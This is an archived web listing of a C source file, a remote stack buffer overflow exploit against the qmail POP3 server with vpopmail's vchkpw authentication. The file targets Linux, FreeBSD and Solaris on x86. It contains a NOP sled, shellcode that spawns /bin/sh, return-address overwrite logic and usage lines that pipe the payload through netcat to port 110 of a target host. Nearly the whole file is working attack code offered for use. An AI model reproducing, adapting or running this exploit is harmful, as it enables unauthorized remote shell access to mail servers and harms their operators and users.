home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qmail / vpop.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  81 lines

  1. /*
  2.    qmail-qpop3d-vchkpw.c (v.3)
  3.    by: K2,
  4.       
  5.    The inter7 supported vchkpw/vpopmail package (replacement for chkeckpasswd)
  6.    has big problems ;)
  7.  
  8.    gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
  9.    ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110   
  10.  
  11.    play with the alignment to get it to A) crash B) work. 
  12.    qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now.
  13.    Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
  14.    vpopmail-3.4.10a/vpopmail-3.4.11[b-e]
  15.  
  16.    Hi plaguez.
  17.    prop's to Interrupt for testing with bsd, _eixon an others ;)
  18.    cheez shell's :)
  19.    THX goes out to STARBUCKS*!($#!
  20. */
  21.  
  22. #include <stdio.h>
  23. #include <stdlib.h>
  24. #include <string.h>
  25.  
  26. #define SIZE   260
  27. #define NOP    0x90
  28. #ifdef SX86
  29. #define DEFOFF 0x8047cfc
  30. #define NOPDEF 75
  31. #elif BSD
  32. #define DEFOFF 0xbfbfdbbf
  33. #define NOPDEF 81
  34. #else
  35. #define DEFOFF 0xbffffcd8
  36. #define NOPDEF 81
  37. #endif 
  38.  
  39. char *shell = 
  40. #ifdef SX86 // Solaris IA32 shellcode, cheez
  41. "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
  42. "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
  43. "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
  44. "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
  45. "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
  46. "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; 
  47. #elif BSD // fBSD shellcode, mudge@l0pht.com                                 
  48. "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  49. "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  50. "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  51. "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  52. #else // Linux shellcode, no idea
  53. "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  54. "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  55. "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  56. "\xff\xff/bin/sh\xff";
  57. #endif
  58.  
  59. int main(int argc, char **argv)
  60. {
  61.    int i=0,esp=0,offset=0,nop=NOPDEF;
  62.    char buffer[SIZE];
  63.  
  64.    if (argc > 1) offset += strtol(argv[1], NULL, 0);
  65.    if (argc > 2) nop += strtol(argv[2], NULL, 0);
  66.  
  67.    esp = DEFOFF;
  68.    
  69.    memset(buffer, NOP, SIZE);
  70.    memcpy(buffer+nop, shell, strlen(shell));
  71.    for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
  72.       *((int *) &buffer[i]) = esp+offset;
  73.    }
  74.    
  75.    printf("user %s\n",buffer);
  76.    printf("pass ADMR0X&*!(#&*(!\n");
  77.  
  78.    fprintf(stderr,"\nbuflen = %d, nops = %d, target = 0x%x\n\n",strlen(buffer),nop,esp+offset);
  79.    return(0);
  80. }
  81.